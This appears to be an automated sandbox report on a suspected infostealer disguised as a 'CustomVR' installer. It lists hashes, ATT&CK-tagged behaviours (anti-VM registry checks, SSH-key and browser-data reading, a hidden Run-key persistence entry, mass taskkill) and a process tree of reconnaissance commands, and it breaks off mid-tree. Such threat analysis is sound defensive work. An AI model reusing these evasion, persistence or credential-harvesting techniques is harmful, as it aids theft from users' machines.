6bb2f677cf18501468f813816578b5c03197c454fe0e11aaa71acfe7dcd71cfb

Resubmissions

28/06/2026, 02:06

260628-cjqdzaey6z

28/06/2026, 01:58

260628-cd19aaey6p9

Analysis

user interaction
yes
max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/06/2026, 01:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CustomVR-Setup-3.78.4(2).exe
Size 114.4MB
Sample260628-cd19aaey6p
SHA256 6bb2f677cf18501468f813816578b5c03197c454fe0e11aaa71acfe7dcd71cfb
MD5 374bf510b13d6b7b0e0ab2bdaf6a435b
SHA1 7f57de90fd8787e89cac14197e7a287abbe4e48e
SHA512 6a60466a4da1228707aa87a89ad539b11c59d2c5aa31cd67fd47086c5658975517cc48f83975b35770a663889f77864b8dfbb623da6d24bf9c4d79025e873d35
SSDEEP 3145728:MYXLQiWn/ynFN88JuS9yjFLY3EppbJNJOO5V3JS:bQlqnFN88JH9yjZ/pbLJq
TLSH
T1E948331124554B3DFB80FA76639E90FA26CCAF05C4B3902B0A33B5E975747C6E6C5A23
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Looks for VMWare services registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmmouse	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmmouse	reg.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	CustomVR.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	CustomVR.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	CustomVR.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	CustomVR.exe

Executes dropped EXE 8 IoCs

pid	Process
4292	CustomVR.exe
384	CustomVR.exe
2516	CustomVR.exe
220	CustomVR.exe
4724	CustomVR.exe
5056	CustomVR.exe
2036	CustomVR.exe
5284	CustomVR.exe

Loads dropped DLL 22 IoCs

pid	Process
3724	CustomVR-Setup-3.78.4(2).exe
3724	CustomVR-Setup-3.78.4(2).exe
3724	CustomVR-Setup-3.78.4(2).exe
3724	CustomVR-Setup-3.78.4(2).exe
3724	CustomVR-Setup-3.78.4(2).exe
3724	CustomVR-Setup-3.78.4(2).exe
3724	CustomVR-Setup-3.78.4(2).exe
3724	CustomVR-Setup-3.78.4(2).exe
3724	CustomVR-Setup-3.78.4(2).exe
3724	CustomVR-Setup-3.78.4(2).exe
3724	CustomVR-Setup-3.78.4(2).exe
3724	CustomVR-Setup-3.78.4(2).exe
4292	CustomVR.exe
4292	CustomVR.exe
384	CustomVR.exe
384	CustomVR.exe
220	CustomVR.exe
220	CustomVR.exe
4724	CustomVR.exe
4724	CustomVR.exe
2036	CustomVR.exe
5284	CustomVR.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CustomVR = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\CustomVR\\CustomVR.exe\" --hidden"	CustomVR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CustomVR = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\CustomVR\\CustomVR.exe\" --hidden"	CustomVR.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
54	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to get system information.

execution

PowerShell

T1059.001

pid	Process
1964	powershell.exe
3472	powershell.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
4944	tasklist.exe
2292	tasklist.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3376	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CustomVR-Setup-3.78.4(2).exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	CustomVR.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2324	WMIC.exe
224	WMIC.exe

Kills process with taskkill 58 IoCs

defense_evasion

pid	Process
5216	taskkill.exe
5516	taskkill.exe
5268	taskkill.exe
5920	taskkill.exe
5920	taskkill.exe
5736	taskkill.exe
5812	taskkill.exe
6088	taskkill.exe
4744	taskkill.exe
2788	taskkill.exe
5720	taskkill.exe
5332	taskkill.exe
3592	taskkill.exe
5224	taskkill.exe
5904	taskkill.exe
2316	taskkill.exe
6092	taskkill.exe
5792	taskkill.exe
5916	taskkill.exe
5124	taskkill.exe
6092	taskkill.exe
5940	taskkill.exe
5860	taskkill.exe
2384	taskkill.exe
5484	taskkill.exe
5928	taskkill.exe
3028	taskkill.exe
5624	taskkill.exe
5648	taskkill.exe
5904	taskkill.exe
5140	taskkill.exe
1404	taskkill.exe
5520	taskkill.exe
4584	taskkill.exe
5016	taskkill.exe
5652	taskkill.exe
5756	taskkill.exe
5440	taskkill.exe
5820	taskkill.exe
5732	taskkill.exe
4772	taskkill.exe
1356	taskkill.exe
5896	taskkill.exe
5392	taskkill.exe
1212	taskkill.exe
5272	taskkill.exe
6088	taskkill.exe
5768	taskkill.exe
5300	taskkill.exe
5716	taskkill.exe
5252	taskkill.exe
5676	taskkill.exe
176	taskkill.exe
2972	taskkill.exe
5716	taskkill.exe
5824	taskkill.exe
6008	taskkill.exe
412	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3376	powershell.exe
3376	powershell.exe
3472	powershell.exe
3472	powershell.exe
3724	CustomVR-Setup-3.78.4(2).exe
3724	CustomVR-Setup-3.78.4(2).exe
1964	powershell.exe
1964	powershell.exe
2400	powershell.exe
2400	powershell.exe
2400	powershell.exe
4308	powershell.exe
4308	powershell.exe
4308	powershell.exe
4980	powershell.exe
4980	powershell.exe
4980	powershell.exe
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe
4464	powershell.exe
4464	powershell.exe
4212	powershell.exe
4464	powershell.exe
4292	CustomVR.exe
4292	CustomVR.exe
4292	CustomVR.exe
4292	CustomVR.exe
220	CustomVR.exe
220	CustomVR.exe
220	CustomVR.exe
220	CustomVR.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
5988	powershell.exe
5988	powershell.exe
5988	powershell.exe
5900	powershell.exe
5900	powershell.exe
5900	powershell.exe
220	CustomVR.exe
220	CustomVR.exe
220	CustomVR.exe
220	CustomVR.exe
5920	powershell.exe
5920	powershell.exe
5920	powershell.exe
5688	powershell.exe
5688	powershell.exe
5688	powershell.exe
4292	CustomVR.exe
4292	CustomVR.exe
4292	CustomVR.exe
4292	CustomVR.exe
5688	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3376	powershell.exe
Token: SeDebugPrivilege	3472	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeIncreaseQuotaPrivilege	1964	powershell.exe
Token: SeSecurityPrivilege	1964	powershell.exe
Token: SeTakeOwnershipPrivilege	1964	powershell.exe
Token: SeLoadDriverPrivilege	1964	powershell.exe
Token: SeSystemProfilePrivilege	1964	powershell.exe
Token: SeSystemtimePrivilege	1964	powershell.exe
Token: SeProfSingleProcessPrivilege	1964	powershell.exe
Token: SeIncBasePriorityPrivilege	1964	powershell.exe
Token: SeCreatePagefilePrivilege	1964	powershell.exe
Token: SeBackupPrivilege	1964	powershell.exe
Token: SeRestorePrivilege	1964	powershell.exe
Token: SeShutdownPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeSystemEnvironmentPrivilege	1964	powershell.exe
Token: SeRemoteShutdownPrivilege	1964	powershell.exe
Token: SeUndockPrivilege	1964	powershell.exe
Token: SeManageVolumePrivilege	1964	powershell.exe
Token: 33	1964	powershell.exe
Token: 34	1964	powershell.exe
Token: 35	1964	powershell.exe
Token: 36	1964	powershell.exe
Token: SeSecurityPrivilege	3724	CustomVR-Setup-3.78.4(2).exe
Token: SeDebugPrivilege	4944	tasklist.exe
Token: SeShutdownPrivilege	4292	CustomVR.exe
Token: SeCreatePagefilePrivilege	4292	CustomVR.exe
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	2292	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2324	WMIC.exe
Token: SeSecurityPrivilege	2324	WMIC.exe
Token: SeTakeOwnershipPrivilege	2324	WMIC.exe
Token: SeLoadDriverPrivilege	2324	WMIC.exe
Token: SeSystemProfilePrivilege	2324	WMIC.exe
Token: SeSystemtimePrivilege	2324	WMIC.exe
Token: SeProfSingleProcessPrivilege	2324	WMIC.exe
Token: SeIncBasePriorityPrivilege	2324	WMIC.exe
Token: SeCreatePagefilePrivilege	2324	WMIC.exe
Token: SeBackupPrivilege	2324	WMIC.exe
Token: SeRestorePrivilege	2324	WMIC.exe
Token: SeShutdownPrivilege	2324	WMIC.exe
Token: SeDebugPrivilege	2324	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2324	WMIC.exe
Token: SeRemoteShutdownPrivilege	2324	WMIC.exe
Token: SeUndockPrivilege	2324	WMIC.exe
Token: SeManageVolumePrivilege	2324	WMIC.exe
Token: 33	2324	WMIC.exe
Token: 34	2324	WMIC.exe
Token: 35	2324	WMIC.exe
Token: 36	2324	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2324	WMIC.exe
Token: SeSecurityPrivilege	2324	WMIC.exe
Token: SeTakeOwnershipPrivilege	2324	WMIC.exe
Token: SeLoadDriverPrivilege	2324	WMIC.exe
Token: SeSystemProfilePrivilege	2324	WMIC.exe
Token: SeSystemtimePrivilege	2324	WMIC.exe
Token: SeProfSingleProcessPrivilege	2324	WMIC.exe
Token: SeIncBasePriorityPrivilege	2324	WMIC.exe
Token: SeCreatePagefilePrivilege	2324	WMIC.exe
Token: SeBackupPrivilege	2324	WMIC.exe
Token: SeRestorePrivilege	2324	WMIC.exe
Token: SeShutdownPrivilege	2324	WMIC.exe
Token: SeDebugPrivilege	2324	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3724 wrote to memory of 3376	3724	CustomVR-Setup-3.78.4(2).exe	94
PID 3724 wrote to memory of 3472	3724	CustomVR-Setup-3.78.4(2).exe	96
PID 3724 wrote to memory of 1964	3724	CustomVR-Setup-3.78.4(2).exe	98
PID 4292 wrote to memory of 384	4292	CustomVR.exe	106
PID 4292 wrote to memory of 3436	4292	CustomVR.exe	107
PID 4292 wrote to memory of 2516	4292	CustomVR.exe	108
PID 4292 wrote to memory of 3532	4292	CustomVR.exe	109
PID 3436 wrote to memory of 4972	3436	cmd.exe	112
PID 4972 wrote to memory of 3164	4972	net.exe	113
PID 3532 wrote to memory of 4944	3532	cmd.exe	114
PID 4292 wrote to memory of 312	4292	CustomVR.exe	116
PID 312 wrote to memory of 2400	312	cmd.exe	118
PID 220 wrote to memory of 4724	220	CustomVR.exe	120
PID 220 wrote to memory of 2164	220	CustomVR.exe	121
PID 220 wrote to memory of 5056	220	CustomVR.exe	122
PID 220 wrote to memory of 3636	220	CustomVR.exe	123
PID 2164 wrote to memory of 2152	2164	cmd.exe	126
PID 3636 wrote to memory of 2292	3636	cmd.exe	175
PID 2152 wrote to memory of 4764	2152	net.exe	128
PID 4292 wrote to memory of 3664	4292	CustomVR.exe	129
PID 3664 wrote to memory of 2324	3664	cmd.exe	131
PID 4292 wrote to memory of 1036	4292	CustomVR.exe	132
PID 1036 wrote to memory of 4308	1036	cmd.exe	134
PID 220 wrote to memory of 3964	220	CustomVR.exe	135
PID 3964 wrote to memory of 4980	3964	cmd.exe	137
PID 220 wrote to memory of 5048	220	CustomVR.exe	138
PID 5048 wrote to memory of 224	5048	cmd.exe	140
PID 220 wrote to memory of 4408	220	CustomVR.exe	142
PID 4408 wrote to memory of 4760	4408	cmd.exe	144
PID 4292 wrote to memory of 4976	4292	CustomVR.exe	145
PID 4976 wrote to memory of 4604	4976	cmd.exe	147
PID 4292 wrote to memory of 4344	4292	CustomVR.exe	148
PID 220 wrote to memory of 4836	220	CustomVR.exe	150
PID 4344 wrote to memory of 3024	4344	cmd.exe	184
PID 4292 wrote to memory of 212	4292	CustomVR.exe	153
PID 4836 wrote to memory of 3668	4836	cmd.exe	155
PID 220 wrote to memory of 3700	220	CustomVR.exe	156
PID 212 wrote to memory of 728	212	cmd.exe	196
PID 3700 wrote to memory of 1604	3700	cmd.exe	190
PID 4292 wrote to memory of 3600	4292	CustomVR.exe	160
PID 220 wrote to memory of 784	220	CustomVR.exe	162
PID 3600 wrote to memory of 1960	3600	cmd.exe	164
PID 784 wrote to memory of 3384	784	cmd.exe	165
PID 4292 wrote to memory of 4412	4292	CustomVR.exe	166
PID 220 wrote to memory of 2336	220	CustomVR.exe	168
PID 4412 wrote to memory of 2252	4412	cmd.exe	170
PID 4292 wrote to memory of 3144	4292	CustomVR.exe	171
PID 2336 wrote to memory of 776	2336	cmd.exe	173
PID 220 wrote to memory of 4540	220	CustomVR.exe	174
PID 3144 wrote to memory of 548	3144	cmd.exe	193
PID 4540 wrote to memory of 1736	4540	cmd.exe	194
PID 4292 wrote to memory of 4220	4292	CustomVR.exe	178
PID 220 wrote to memory of 3208	220	CustomVR.exe	180
PID 4220 wrote to memory of 4372	4220	cmd.exe	182
PID 3208 wrote to memory of 3804	3208	cmd.exe	183
PID 220 wrote to memory of 3024	220	CustomVR.exe	184
PID 3024 wrote to memory of 3060	3024	cmd.exe	186
PID 4292 wrote to memory of 1220	4292	CustomVR.exe	187
PID 220 wrote to memory of 2056	220	CustomVR.exe	189
PID 1220 wrote to memory of 1016	1220	cmd.exe	191
PID 2056 wrote to memory of 4212	2056	cmd.exe	210
PID 4292 wrote to memory of 2448	4292	CustomVR.exe	199
PID 220 wrote to memory of 1960	220	CustomVR.exe	202
PID 2448 wrote to memory of 1704	2448	cmd.exe	201

C:\Users\Admin\AppData\Local\Temp\CustomVR-Setup-3.78.4(2).exe
"C:\Users\Admin\AppData\Local\Temp\CustomVR-Setup-3.78.4(2).exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3724
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if (Get-Command Get-CimInstance -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3376
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-ExecutionPolicy -Scope Process) -eq 'Restricted') { exit 1 } else { exit 0 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3472
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-CimInstance -ClassName Win32_Process | ? {$_.Path -and $_.Path.StartsWith('C:\Users\Admin\AppData\Local\Programs\CustomVR', 'CurrentCultureIgnoreCase')}).Count -gt 0) { exit 0 } else { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1964

C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
"C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4292
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --gpu-preferences=SAAAAAAAAADgAQAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1708,i,11231641349455186938,3128421639626023873,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1712,i,13985386364059197919,15783193698709535009,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1704 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3436
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4972
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3164
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --field-trial-handle=1708,i,11231641349455186938,3128421639626023873,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1712,i,13985386364059197919,15783193698709535009,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1812 /prefetch:3
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3532
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3664
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    - Suspicious use of AdjustPrivilegeToken
    PID:2324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "(Get-PhysicalDisk).BusType""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "(Get-PhysicalDisk).BusType"
    3⤵
